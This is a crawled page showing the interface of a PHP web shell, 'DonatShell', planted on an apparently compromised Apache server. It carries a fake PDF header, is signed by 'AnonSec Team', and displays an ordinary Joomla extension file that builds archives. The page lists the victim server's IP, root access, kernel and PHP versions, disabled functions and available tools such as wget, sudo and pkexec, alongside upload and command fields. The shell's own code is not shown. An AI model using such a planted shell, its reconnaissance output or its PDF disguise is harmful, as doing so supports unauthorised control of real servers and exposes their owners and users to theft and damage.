%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/administrator/components/com_jckman/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/administrator/components/com_jckman/helpers/archivefactory.php
<?php
/*------------------------------------------------------------------------
# Copyright (C) 2005-2012 WebxSolution Ltd. All Rights Reserved.
# @license - GPLv2.0
# Author: WebxSolution Ltd
# Websites:  http://www.webxsolution.com
# Terms of Use: An extension that is derived from the JoomlaCK editor will only be allowed under the following conditions: http://joomlackeditor.com/terms-of-use
# ------------------------------------------------------------------------*/ 

defined( '_JEXEC' ) or die;

class ArchiveFactory
{

	private  $phar = null;
	private  $baseDir = '';
    private  $name = '';	
	private $archive = null;
	
	public  function __construct($baseDir,$name)
	{
		$this->baseDir = $baseDir;
		$this->name = $name;
	}
   
    private function build()
   {
		if(class_exists('PharData'))
			$this->pharBuild();
		else
			$this->zipBuild();
	}
	
	private function pharBuild()
	{
		$this->type = $type = 'tar.gz';
		$this->phar = new PharData($this->name.'.tar');
		$this->phar->buildFromDirectory($this->baseDir);
		$this->phar->convertToData(Phar::TAR,Phar::GZ,'.'.$this->type);
		unset( $this->phar ); // remove any references to this file!
		unlink($this->name .'.tar');
		$this->archive =  file_get_contents($this->name.'.'.$this->type);
		unlink($this->name. '.'.$this->type);
	
	}
	
	
	private function zipBuild()
	{
		$this->type = $type = 'zip';
		
		$zip = new ZipArchive();
		// open archive 
		
		$name = $this->name.'.zip';
		if ($zip->open($name, ZIPARCHIVE::CREATE) !== TRUE) 
			throw new Exception ("Could not open archive");
		
		$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($this->baseDir,FilesystemIterator::SKIP_DOTS));
		
		foreach ($iterator as $key=>$value)
		{	
			 $filterKey = str_replace($this->baseDir.'/','',$key);
			
			if(!$zip->addFile(realpath($key),$filterKey)) 
				throw new Exception('ERROR: Could not add file: '.$filterKey);
		}
		$zip->close();		
		$this->archive =  file_get_contents($name);
		unlink($name);
	}
	
   
    public function downloadFile()
	{
		 $this->build();

		 switch ($this->type)
		{
			case "tar.gz":
			case "tgz":
				header("Content-Type: application/x-gzip");
				break;
			case "bzip":
				header("Content-Type: application/x-bzip2");
				break;
			case "zip":
				header("Content-Type: application/zip");
				break;
			case "tar":
				header("Content-Type: application/x-tar");
		}
		$name =  $this->name. '.'. $this->type;
		
		$header = "Content-Disposition: attachment; filename=\"";
		$header .= $name;
		$header .= "\"";
		header($header);
		header("Content-Length: " . strlen($this->archive));
		header("Content-Transfer-Encoding: binary");
		header("Cache-Control: no-cache, must-revalidate, max-age=60");
		header("Expires: Sat, 01 Jan 2000 12:00:00 GMT");
		echo $this->archive;
		exit;
	}
}

Anon7 - 2022
AnonSec Team